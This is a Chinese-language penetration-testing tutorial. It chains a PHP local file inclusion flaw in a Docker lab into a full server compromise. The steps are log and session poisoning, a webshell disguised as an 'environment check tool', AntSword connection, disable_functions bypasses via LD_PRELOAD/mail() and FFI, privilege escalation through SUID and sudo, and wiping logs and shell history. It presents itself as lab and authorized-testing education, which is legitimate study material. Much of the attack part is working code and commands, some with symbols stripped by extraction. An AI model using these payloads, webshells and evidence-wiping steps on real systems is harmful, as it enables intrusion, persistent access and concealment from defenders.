文件包含漏洞实战:从LFI到蚁剑连接与disable_function绕过
1. 项目概述从文件包含到系统权限的实战路径在渗透测试或安全研究的学习初期很多新手朋友都会遇到一个经典且威力巨大的漏洞组合文件包含漏洞。这个漏洞本身可能只是一个读取服务器本地文件的“小问题”但一旦与其它条件结合就能成为获取服务器最高权限即“getshell”的致命跳板。今天我就以一个从业者的视角带大家完整走一遍这个流程从发现一个不起眼的文件包含点开始如何一步步利用它写入Webshell最终通过蚁剑AntSword这样的“瑞士军刀”连接并控制服务器甚至在服务器开启了严格安全限制disable_function的情况下如何绕过限制执行系统命令。这不仅仅是CTF比赛中的题目更是真实环境中可能遇到的攻防对抗缩影。理解这个链条对于防守方而言能更清晰地认识到单一漏洞可能引发的连锁风险对于学习安全的进攻方则是掌握了一种从信息泄露到权限提升的核心方法论。整个过程涉及Web安全、PHP语言特性、服务器配置、权限绕过等多个知识点我会尽量用通俗的语言和类比把每个环节的原理、操作和踩过的坑都讲清楚。无论你是刚入门的安全爱好者还是想巩固Web渗透技能的同学这篇内容都能给你提供一条清晰的、可复现的实战路径。2. 核心漏洞原理与利用环境搭建2.1 文件包含漏洞的本质与分类文件包含漏洞顾名思义是指应用程序在引入包含外部文件时未对用户可控的参数进行严格过滤导致攻击者可以包含并执行任意文件。这主要发生在使用类似include(),require(),include_once(),require_once()这些PHP函数的场景中。你可以把它想象成一家餐厅的后厨。厨师Web应用程序需要根据顾客用户点的菜名参数从仓库服务器文件系统里取出相应的食材文件进行加工。正常情况下顾客只能点菜单上有的菜如“红烧肉.php”、“清蒸鱼.html”。但如果餐厅管理不严顾客可以直接告诉厨师“去仓库把第3个冰柜里那个贴着‘秘制酱料’的罐子拿过来”厨师照做了结果那个罐子里装的是毒药恶意代码整道菜输出的网页就出了问题。文件包含主要分为两类本地文件包含LFI包含服务器本地的文件。例如参数?file../../etc/passwd可能让应用程序读取到系统的用户配置文件。远程文件包含RFI包含远程服务器上的文件。例如参数?filehttp://attacker.com/shell.txt。这要求PHP配置中allow_url_include选项为On在现代PHP版本和默认配置下已非常罕见因此我们今天的重点在LFI。LFI的可怕之处在于它不仅能读取敏感文件如源码、配置文件在特定条件下还能与文件上传、日志写入、Session文件污染等结合将恶意代码写入服务器的一个临时文件中再通过LFI去包含这个文件从而执行任意PHP代码这就是我们getshell的起点。2.2 靶场环境搭建与漏洞点模拟为了让大家能安全地练习我强烈建议在本地虚拟机或隔离的VPS中搭建测试环境。这里我使用Docker快速构建一个存在典型文件包含漏洞的PHP环境。首先创建一个项目目录比如lfi_lab在里面创建以下文件docker-compose.ymlversion: 3 services: web: image: php:7.4-apache container_name: lfi_web ports: - 8080:80 volumes: - ./src:/var/www/html environment: - ALLOW_URL_INCLUDEOff这个配置使用PHP 7.4的Apache镜像将本地的src目录映射到容器的Web根目录。src/index.php (存在漏洞的页面)?php // 模拟一个存在文件包含漏洞的页面 $page $_GET[page] ?? home.php; // 危险未对$page进行任何过滤 include(./pages/ . $page); ?src/pages/home.phph1Welcome Home/h1 pThis is a normal page./psrc/pages/about.phph1About Us/h1 pThis is about page./p启动环境docker-compose up -d。访问http://localhost:8080/?pagehome.php和?pageabout.php可以正常切换页面。但当我们尝试?page../../../../etc/passwd时就可能出现警告或报错这是因为路径超出了Web目录。我们需要先找到一种方法将恶意代码“放”到服务器上。注意真实的漏洞点可能更隐蔽比如参数名是module,template,p等路径拼接也可能不同。关键是通过模糊测试fuzz或代码审计找到那个未过滤的可控点。3. 利用链构造从LFI到代码执行单纯的LFI只能读文件要getshell我们需要让服务器执行我们提供的PHP代码。这就需要找到一个我们能控制内容、且服务器会将其当作PHP文件来解析的“临时文件”。以下是几种经典的方法3.1 方法一利用PHP封装协议PHP提供了一些有趣的“包装器”Wrapper可以处理不同协议的数据流。在文件包含中我们可以利用php://input和php://filter。php://input 直接执行代码当allow_url_include为On时我们靶场默认是Off但有些老旧环境可能开启可以这样利用URL: http://target.com/vuln.php?filephp://input POST Data: ?php system(whoami); ?服务器会将POST主体作为PHP代码执行。但在allow_url_includeOff时此路不通。php://filter 进行编码与读取php://filter本身不执行代码但它是一个强大的“读取器”和“转换器”在两大场景下极其有用读取源码当包含非PHP文件如.txt时服务器不会解析其中的PHP代码只会显示文本。但我们可以用php://filter/convert.base64-encode/resourceindex.php来读取index.php的base64编码内容从而绕过一些显示限制进行源代码审计。写入Webshell关键这是我们将LFI转化为代码执行的核心技巧。它需要结合另一个漏洞点比如日志文件包含或Session文件包含。3.2 方法二日志文件注入最经典的实战路径Web服务器如Apache、Nginx会记录所有访问日志包括User-Agent、访问路径等。如果我们能把PHP代码写入访问日志再通过LFI去包含这个日志文件代码就会被执行。操作步骤找到日志路径通过LFI读取服务器配置文件或利用已知路径。常见路径有/var/log/apache2/access.log,/var/log/nginx/access.log,/var/www/html/../logs/access.log等。污染日志使用Burp Suite或curl发送一个特殊的HTTP请求将PHP代码放在User-Agent或Referer字段中。curl -A ?php phpinfo();? http://target.com/包含日志文件假设我们通过信息收集得知日志路径为/var/log/apache2/access.log那么访问http://target.com/vuln.php?file../../../../var/log/apache2/access.log如果日志文件中包含了我们注入的?php phpinfo();?并且该文件在Web目录可访问的路径内那么phpinfo()页面就会被执行并显示出来实操心得日志文件通常很大直接包含可能导致超时或内存不足。一个技巧是先通过包含确认日志路径正确能看到正常的日志记录再注入一小段用于验证的代码如?php echo ‘HACKED’;?成功后再写入功能完整的Webshell。3.3 方法三Session文件包含PHP会将Session数据存储在服务器上的临时文件中如/tmp/sess_[sessionid]。如果Session内容用户部分可控例如程序将用户名存入$_SESSION[‘username’]且我们知道Session文件的路径和名称就可以实施攻击。操作步骤让服务器为我们创建一个Session。访问一个使用了Session的页面。污染Session。通过表单或参数将用户名设置为?php phpinfo();?。获取Session ID。从Cookie中获取如PHPSESSIDabc123。计算Session文件路径。默认格式常为/tmp/sess_abc123。包含Session文件。?file../../../../tmp/sess_abc123。注意事项Session文件包含的成功率取决于Session存储路径是否可知、是否在可包含范围内以及程序是否对存入Session的数据进行了过滤。在实战中这需要细致的测试。4. 写入Webshell与蚁剑连接实战一旦我们通过上述任何一种方法实现了远程代码执行RCE下一步就是写入一个持久化的、功能强大的Webshell方便我们后续操作。4.1 编写一个免杀、功能全的Webshell直接写入?php eval($_POST[‘cmd’]);?这种一句话木马虽然简单但极易被安全软件或WAF检测。我们可以稍作变形并增加一些实用功能。下面是一个我常用的“小马”它功能更丰富且通过简单的编码绕过静态检测?php // 伪装成一个普通的配置检查文件 header(‘Content-Type: text/plain; charsetutf-8‘); error_reporting(0); // 核心功能命令执行 if(isset($_GET[‘action‘]) $_GET[‘action‘]‘exec‘){ $command $_GET[‘cmd‘] ?? ‘whoami‘; echo “pre“; system($command); echo “/pre“; die(); } // 核心功能文件管理简易版 if(isset($_GET[‘action‘]) $_GET[‘action‘]‘browse‘){ $path $_GET[‘path‘] ?? ‘./‘; echo “h3Listing: “ . htmlspecialchars($path) . “/h3ul“; foreach(scandir($path) as $item){ if($item‘.‘||$item‘..‘) continue; $fullpath $path . ‘/‘ . $item; echo “li“ . htmlspecialchars($item) . “ (“ . (is_dir($fullpath)?‘DIR‘:‘FILE‘) . “)/li“; } echo “/ul“; die(); } // 核心功能写入文件用于写入蚁剑连接用的后门 if(isset($_POST[‘write‘])){ $filename $_POST[‘f‘]; $content base64_decode($_POST[‘c‘]); if(file_put_contents($filename, $content)){ echo “Write OK to “ . htmlspecialchars($filename); }else{ echo “Write Failed“; } die(); } echo “Server Environment Check Tool. No issues found.“; ?这个“小马”看起来人畜无害但提供了命令执行、文件浏览和文件写入三个关键功能通过GET参数action来切换。4.2 利用RCE写入Webshell假设我们已经通过日志包含可以执行system(‘whoami‘);这样的命令。现在我们需要将上面的Webshell代码写入到Web目录中比如/var/www/html/shell.php。由于我们的代码包含引号和特殊字符直接通过URL传递容易出错。一个可靠的方法是将Webshell代码进行Base64编码然后在目标服务器上解码写入。编码Webshell。将上面完整的PHP代码进行Base64编码可以在线工具或本地用base64命令。构造写入命令。在已实现的RCE点执行以下命令echo ‘PD9waHAg...这里是完整的Base64编码字符串‘ | base64 -d /var/www/html/shell.php或者使用PHP本身来解码写入?php file_put_contents(‘/var/www/html/shell.php‘, base64_decode(‘PD9waHAg...‘)); ?访问验证。访问http://target.com/shell.php如果显示“Server Environment Check Tool”说明写入成功。再访问http://target.com/shell.php?actionexeccmdid应该能返回当前用户的ID信息。4.3 蚁剑AntSword连接与初始化蚁剑是一个图形化的Webshell管理工具比浏览器操作更高效。首先从GitHub官方仓库下载并安装蚁剑。配置连接打开蚁剑点击“添加”。在URL地址中填入我们的Webshell地址http://target.com/shell.php。连接密码留空因为我们的小马没有设置密码参数蚁剑默认会尝试一些常见参数如pass、ant等可能连不上。使用自定义编码器我们的“小马”不是标准的一句话蚁剑可能无法直接识别。这时需要用到蚁剑强大的“自定义编码器”功能。在添加数据时在“编码器”下拉框中选择“默认”。更有效的方法是我们写入一个蚁剑专用的标准一句话木马。利用我们“小马”的文件写入功能actionwrite写入以下内容?php eval($_POST[‘ant‘]);?将这个代码Base64编码后通过POST请求发送到shell.phpPOST /shell.php HTTP/1.1 ... write1fantsword.phpcPD9waHAgQGV2YWwoJF9QT1NUWydhbnQnXSk7Pz4这样就在服务器上生成了antsword.php文件。连接新Shell在蚁剑中添加新数据URL填写http://target.com/antsword.php密码填写ant编码器选择base64这是最常见的点击“添加”并测试连接。成功连接后你就可以在蚁剑的图形界面中浏览文件、执行命令、上传下载文件就像操作一个简易的文件管理器。5. 深入内核绕过disable_function限制成功连接蚁剑后你可能会兴奋地尝试执行whoami、pwd但有时会返回一个错误Warning: system() has been disabled for security reasons。这意味着管理员在php.ini中设置了disable_functions禁用了system,shell_exec,exec,passthru,popen等危险函数这就像给PHP套上了一层“枷锁”。5.1 理解disable_function的机制disable_functions是PHP的一个安全配置指令它通过在PHP引擎加载时从函数表中移除指定的函数名来实现禁用。因此在PHP代码层面你无法直接“恢复”或“启用”这些函数。我们的目标不是解除禁用而是寻找这条禁令之外的、同样能执行系统命令的“旁路”。5.2 绕过方法一利用未禁用的危险函数首先检查哪些函数没被禁用。在蚁剑的“虚拟终端”或通过Webshell执行?php print_r(ini_get(‘disable_functions‘)); ?。LD_PRELOAD劫持与mail()/error_log()函数这是最经典、成功率较高的方法。原理是PHP的mail()或error_log()函数在发送邮件或写错误日志时内部会调用/usr/sbin/sendmail这个外部程序。我们可以通过环境变量LD_PRELOAD让系统在启动任何新进程包括sendmail时优先加载我们编写的恶意共享库.so文件从而执行我们的代码。操作步骤编写一个C文件hack.c其中定义一个__attribute__ ((constructor))的函数这个函数会在库被加载时自动执行里面可以调用system()。#include stdlib.h #include stdio.h __attribute__ ((constructor)) void angel() { unsetenv(LD_PRELOAD); system(echo Hacked /tmp/test.txt); }在目标服务器上编译它需要gcc。gcc -shared -fPIC hack.c -o hack.so。通过PHP代码设置环境变量并调用mail()。?php putenv(LD_PRELOAD/path/to/hack.so); mail(alocalhost,,,,); ?执行后查看/tmp/test.txt文件是否被创建。蚁剑有现成的插件如“绕过禁用函数”可以自动化这个过程。ImageMagick漏洞CVE-2016-3714如果服务器安装了ImageMagick组件且版本存在漏洞可以通过构造恶意图片文件来触发命令执行。这需要上传一个特殊构造的图片并用PHP的Imagick库去处理它。COM组件Windows在Windows服务器上如果PHP配置启用了COM扩展且未禁用com_load()等函数可以调用Windows的COM对象如WScript.Shell来执行命令。5.3 绕过方法二利用PHP扩展FFI扩展PHP 7.4FFIForeign Function Interface允许PHP调用C库的函数。如果FFI扩展被启用且未禁用ffi-new等方法可以直接调用libc的system函数。?php $ffi FFI::cdef(int system(const char *command);, libc.so.6); $ffi-system(id /tmp/ffi_test); ?PHP-FPM未授权访问/RCE如果目标服务器使用PHP-FPM模式如Nginx PHP-FPM且FPM监听端口如9000暴露在外网或可被Web服务器访问可能存在未授权访问或RCE漏洞。可以通过构造特殊的FastCGI协议数据包让PHP-FPM执行任意代码。蚁剑也有相应的插件可以利用此漏洞。5.4 绕过方法三利用系统组件与程序寻找Web服务器权限可以调用的其他系统程序。Perl/Python如果服务器安装了Perl或Python且可以执行可以编写简单的脚本。?php echo ‘pre‘; echo shell_exec(‘perl -e \print Hello from Perl!\n\‘); echo shell_exec(‘python3 -c import os; print(os.listdir(‘.‘))‘); echo ‘/pre‘; ?find命令的-exec参数find / -name ‘*.php‘ -exec whoami \;awk/sed等文本处理命令可以通过复杂的拼接实现命令执行。核心排查思路当遇到disable_function时不要慌张。遵循“由内到外”的思路1. 检查PHP内部未禁用函数如pcntl_exec,proc_open,popen2. 检查可用的PHP扩展FFI, Imagick3. 寻找调用外部程序的机会mail/imap_mail, error_log,反引号运算符配合可执行程序4. 利用系统层面漏洞PHP-FPM, 第三方库漏洞。蚁剑的插件市场提供了很多自动化脚本可以逐一尝试。6. 权限提升与痕迹清理思路获取Webshell通常只是第一步我们可能只是一个低权限用户如www-data。为了完全控制服务器可能需要提权Privilege Escalation。6.1 信息收集与提权枚举在蚁剑的虚拟终端中执行一系列信息收集命令# 查看当前用户和组 id whoami # 查看系统内核版本、发行版信息 uname -a cat /etc/issue cat /etc/*-release # 查看具有SUID权限的特殊文件提权重点 find / -perm -us -type f 2/dev/null # 查看sudo权限 sudo -l # 查看计划任务 crontab -l ls -la /etc/cron* # 查看进程、网络连接 ps aux netstat -antp根据收集到的信息寻找提权突破口。例如内核漏洞如果内核版本较老搜索对应的本地提权LPE漏洞如DirtyCow。使用searchsploit或上传编译好的exp。SUID程序滥用如果发现find,vim,bash,cp,nmap等程序具有SUID权限可以尝试利用其特性提权。例如find . -exec /bin/sh \;。sudo权限滥用如果sudo -l显示当前用户可以以root身份无需密码运行某些命令如/usr/bin/vim,/usr/bin/python可以直接通过这些命令启动一个root shell。环境变量劫持如果调用的SUID程序依赖于环境变量PATH可以劫持PATH来执行恶意程序。6.2 操作完成后的痕迹清理仅用于授权测试后的恢复在获得授权进行渗透测试后为了不影响目标系统正常业务需要清理痕迹。切记未经授权的操作是违法行为。删除上传的Webshell文件使用蚁剑文件管理器或命令rm /var/www/html/shell.php /var/www/html/antsword.php。清理日志Web日志echo ‘‘ /var/log/apache2/access.log(谨慎操作可能触发告警)。命令历史清理当前用户的.bash_history文件echo ‘‘ ~/.bash_history或history -c。对于日志注入点可以尝试用大量正常请求覆盖掉含有恶意代码的日志行。删除临时文件删除上传的提权exp、编译的.so文件等。检查后门与账户检查是否创建了新的用户账户或SSH密钥如有则删除。整个从文件包含到getshell再到绕过限制和提权的过程是一个环环相扣的链条。防守方需要关注每一环严格过滤所有用户输入、关闭不必要的PHP功能、及时更新系统和组件、配置严格的日志和权限策略。而对于学习者来说亲手在隔离环境中复现这个过程是理解Web安全攻防本质最快的方式。我建议你在自己的实验环境中尝试每一种方法并思考如何防御这样才能真正把知识转化为能力。